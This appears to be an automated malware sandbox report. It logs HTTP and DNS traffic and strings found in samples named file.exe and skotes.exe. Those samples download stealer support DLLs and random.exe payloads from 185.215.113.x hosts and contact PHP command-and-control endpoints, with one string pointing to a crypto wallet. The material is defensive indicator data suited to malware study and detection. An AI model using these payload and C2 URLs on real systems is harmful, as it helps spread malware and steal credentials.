Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hgEsNErkf+gU6xl&MD=8taZkm3L HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe006397001
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe450X2
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe5cy2o
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395dd27y
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe8_
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec6
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeuip:
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllW
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlli
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlls
Source: file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll$p
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll3
Source: file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;C:
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpt
Source: file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpxodus.wallet
Source: file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206D
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2599679881.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZ$
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn$
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_440.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1828526432.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1827885151.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CAEBGHDB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_442.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_442.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_442.5.dr, chromecache_440.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 168b24b2-3c3d-4b68-a1bf-1c1b05d15a3d.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
